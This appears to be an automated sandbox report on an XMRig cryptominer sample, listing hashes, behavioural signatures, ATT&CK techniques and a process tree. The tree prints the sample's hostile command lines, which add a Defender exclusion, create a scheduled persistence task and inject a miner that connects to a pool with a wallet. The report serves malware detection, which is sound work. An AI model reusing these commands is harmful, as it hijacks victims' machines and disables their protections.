xmrig | d151ac7349eeddb2e769ffd33665c627fb1ec57004ac42927562b081d1c5de5b

Analysis

max time kernel
149s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
27/11/2022, 12:44

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General

Target
file.exe
Size 814KB
Sample221127-pygrlacf8s
SHA256 d151ac7349eeddb2e769ffd33665c627fb1ec57004ac42927562b081d1c5de5b
MD5 ba37815aa2f1b7798cef2f1cd39ef495
SHA1 63373e47e062af06604e3897f6ee7b5d4ab57f0e
SHA512 c23e5e6ba235eaa1064052f67ed81d3b499f09a3fe034daf95408c0cd3dc878bf9c9a2be83a2da442e396908994e382d4c2e058a0081aaf3dfffdc26b6afa013
SSDEEP 12288:Mo/wyn457hqndsQQtRJLGxZEk+fBfUEEjhQaLALlJ/r7YlvJSeibJWEQv8FrlZG7:MNp7hqndsQQt/GxShQuaLnpO9RFzG7
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/2968-184-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2968-185-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/2968-186-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2968-188-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2968-191-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/2968-193-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
3704	YHKO.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation	YHKO.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3704 set thread context of 2968	3704	YHKO.exe	90

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
900	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3628	timeout.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
4512	file.exe
4512	file.exe
3204	powershell.exe
3204	powershell.exe
3704	YHKO.exe
3704	YHKO.exe
5004	powershell.exe
5004	powershell.exe
3704	YHKO.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4512	file.exe
Token: SeDebugPrivilege	3204	powershell.exe
Token: SeDebugPrivilege	3704	YHKO.exe
Token: SeDebugPrivilege	5004	powershell.exe
Token: SeLockMemoryPrivilege	2968	vbc.exe
Token: SeLockMemoryPrivilege	2968	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2968	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4512 wrote to memory of 3204	4512	file.exe	78
PID 4512 wrote to memory of 3204	4512	file.exe	78
PID 4512 wrote to memory of 4708	4512	file.exe	80
PID 4512 wrote to memory of 4708	4512	file.exe	80
PID 4708 wrote to memory of 3628	4708	cmd.exe	82
PID 4708 wrote to memory of 3628	4708	cmd.exe	82
PID 4708 wrote to memory of 3704	4708	cmd.exe	83
PID 4708 wrote to memory of 3704	4708	cmd.exe	83
PID 3704 wrote to memory of 5004	3704	YHKO.exe	84
PID 3704 wrote to memory of 5004	3704	YHKO.exe	84
PID 3704 wrote to memory of 480	3704	YHKO.exe	86
PID 3704 wrote to memory of 480	3704	YHKO.exe	86
PID 480 wrote to memory of 900	480	cmd.exe	88
PID 480 wrote to memory of 900	480	cmd.exe	88
PID 3704 wrote to memory of 2968	3704	YHKO.exe	90
PID 3704 wrote to memory of 2968	3704	YHKO.exe	90
PID 3704 wrote to memory of 2968	3704	YHKO.exe	90
PID 3704 wrote to memory of 2968	3704	YHKO.exe	90
PID 3704 wrote to memory of 2968	3704	YHKO.exe	90
PID 3704 wrote to memory of 2968	3704	YHKO.exe	90
PID 3704 wrote to memory of 2968	3704	YHKO.exe	90
PID 3704 wrote to memory of 2968	3704	YHKO.exe	90
PID 3704 wrote to memory of 2968	3704	YHKO.exe	90
PID 3704 wrote to memory of 2968	3704	YHKO.exe	90
PID 3704 wrote to memory of 2968	3704	YHKO.exe	90
PID 3704 wrote to memory of 2968	3704	YHKO.exe	90
PID 3704 wrote to memory of 2968	3704	YHKO.exe	90
PID 3704 wrote to memory of 2968	3704	YHKO.exe	90

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp8BA.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4708
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:3628
- - C:\ProgramData\dlllib\YHKO.exe
    "C:\ProgramData\dlllib\YHKO.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3704
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5004
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "C:\ProgramData\dlllib\YHKO.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:480
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "YHKO" /tr "C:\ProgramData\dlllib\YHKO.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:900
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:2968

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

YHKO.exe

Path C:\ProgramData\dlllib\YHKO.exe
Size 814KB
SHA256 d151ac7349eeddb2e769ffd33665c627fb1ec57004ac42927562b081d1c5de5b
MD5 ba37815aa2f1b7798cef2f1cd39ef495
SHA1 63373e47e062af06604e3897f6ee7b5d4ab57f0e
SHA512 c23e5e6ba235eaa1064052f67ed81d3b499f09a3fe034daf95408c0cd3dc878bf9c9a2be83a2da442e396908994e382d4c2e058a0081aaf3dfffdc26b6afa013
SSDEEP 12288:Mo/wyn457hqndsQQtRJLGxZEk+fBfUEEjhQaLALlJ/r7YlvJSeibJWEQv8FrlZG7:MNp7hqndsQQt/GxShQuaLnpO9RFzG7
MD5 SHA1 SHA512 SSDEEP

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YHKO.exe

Path C:\ProgramData\dlllib\YHKO.exe
Size 814KB
SHA256 d151ac7349eeddb2e769ffd33665c627fb1ec57004ac42927562b081d1c5de5b
MD5 ba37815aa2f1b7798cef2f1cd39ef495
SHA1 63373e47e062af06604e3897f6ee7b5d4ab57f0e
SHA512 c23e5e6ba235eaa1064052f67ed81d3b499f09a3fe034daf95408c0cd3dc878bf9c9a2be83a2da442e396908994e382d4c2e058a0081aaf3dfffdc26b6afa013
SSDEEP 12288:Mo/wyn457hqndsQQtRJLGxZEk+fBfUEEjhQaLALlJ/r7YlvJSeibJWEQv8FrlZG7:MNp7hqndsQQt/GxShQuaLnpO9RFzG7
MD5 SHA1 SHA512 SSDEEP

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
MD5 77d622bb1a5b250869a3238b9bc1402b
SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
MD5 SHA1 SHA512

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tmp8BA.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp8BA.tmp.bat
Size 138B
SHA256 3df1e829bab6478f608bade07f4b0b6269dab55e171d1a0626196460fd952943
MD5 385b2ba8778940de3197882161de0e85
SHA1 e0fc931f9b8dea88b16bf73d35336c8c2dea7e06
SHA512 5c9323ba60f7785ad90c0ec1e5c94f3192d09276725a4f25ca8505bd3b9b2711efcb21a2c82ca2a58c43d56bcdeca495841a9fd77e143a6725306ae7edcd87e7
MD5 SHA1 SHA512

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memory/2968-192-0x000001D289250000-0x000001D289270000-memory.dmp

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memory/2968-196-0x000001D28AB20000-0x000001D28AB40000-memory.dmp

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memory/2968-188-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/2968-186-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/2968-197-0x000001D28AB40000-0x000001D28AB60000-memory.dmp

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memory/2968-184-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/2968-191-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/2968-193-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/2968-190-0x000001D289200000-0x000001D289220000-memory.dmp

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memory/2968-194-0x000001D28AB20000-0x000001D28AB40000-memory.dmp

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memory/2968-195-0x000001D28AB40000-0x000001D28AB60000-memory.dmp

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memory/3204-150-0x000001A47EEA0000-0x000001A47EEC2000-memory.dmp

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memory/3204-153-0x00007FFAB6DA0000-0x00007FFAB7861000-memory.dmp

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memory/3204-154-0x00007FFAB6DA0000-0x00007FFAB7861000-memory.dmp

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memory/3704-182-0x00007FFAD4AC0000-0x00007FFAD4B2B000-memory.dmp

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memory/3704-169-0x00000000009A0000-0x0000000000AD4000-memory.dmp

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memory/3704-160-0x00007FFAD5E10000-0x00007FFAD5EAE000-memory.dmp

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memory/3704-161-0x00007FFAD17F0000-0x00007FFAD1802000-memory.dmp

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memory/3704-162-0x00007FFAB79F0000-0x00007FFAB7AAD000-memory.dmp

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memory/3704-163-0x00007FFAD4B30000-0x00007FFAD4CD1000-memory.dmp

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memory/3704-164-0x00007FFAB7AB0000-0x00007FFAB8571000-memory.dmp

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memory/3704-165-0x00007FFAD4A20000-0x00007FFAD4A4B000-memory.dmp

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memory/3704-166-0x00000000009A0000-0x0000000000AD4000-memory.dmp

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memory/3704-167-0x00000000009A0000-0x0000000000AD4000-memory.dmp

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memory/3704-168-0x00007FFAB62A0000-0x00007FFAB63EE000-memory.dmp

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memory/3704-179-0x00007FFAD4010000-0x00007FFAD4037000-memory.dmp

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memory/3704-170-0x0000000000900000-0x0000000000943000-memory.dmp

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memory/3704-171-0x00007FFAB7AB0000-0x00007FFAB8571000-memory.dmp

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memory/3704-189-0x00007FFAB7AB0000-0x00007FFAB8571000-memory.dmp

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memory/3704-187-0x00000000009A0000-0x0000000000AD4000-memory.dmp

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memory/3704-183-0x00007FFAD2CA0000-0x00007FFAD2CDB000-memory.dmp

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memory/3704-181-0x00007FFAB3B00000-0x00007FFAB3C02000-memory.dmp

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memory/3704-159-0x00007FFAB87D0000-0x00007FFAB887A000-memory.dmp

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memory/3704-180-0x00007FFAC7C50000-0x00007FFAC7C85000-memory.dmp

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memory/4512-147-0x00000000030C0000-0x0000000003103000-memory.dmp

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memory/4512-143-0x00007FFAB89E0000-0x00007FFAB8B2E000-memory.dmp

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memory/4512-134-0x00007FFAC7BE0000-0x00007FFAC7C8A000-memory.dmp

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memory/4512-132-0x0000000000730000-0x0000000000864000-memory.dmp

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memory/4512-148-0x0000000000730000-0x0000000000864000-memory.dmp

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memory/4512-135-0x00007FFAD5E10000-0x00007FFAD5EAE000-memory.dmp

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memory/4512-144-0x00007FFAB6DA0000-0x00007FFAB7861000-memory.dmp

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memory/4512-137-0x00007FFAC7A90000-0x00007FFAC7B4D000-memory.dmp

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memory/4512-149-0x00007FFAB6DA0000-0x00007FFAB7861000-memory.dmp

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memory/4512-136-0x00007FFAD17F0000-0x00007FFAD1802000-memory.dmp

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memory/4512-142-0x0000000000730000-0x0000000000864000-memory.dmp

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memory/4512-141-0x00007FFAD4A20000-0x00007FFAD4A4B000-memory.dmp

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memory/4512-139-0x00007FFAB6DA0000-0x00007FFAB7861000-memory.dmp

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memory/4512-140-0x00000000030C0000-0x0000000003103000-memory.dmp

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memory/4512-138-0x00007FFAD4B30000-0x00007FFAD4CD1000-memory.dmp

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memory/5004-178-0x00007FFAB7AB0000-0x00007FFAB8571000-memory.dmp

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memory/5004-176-0x00007FFAB7AB0000-0x00007FFAB8571000-memory.dmp

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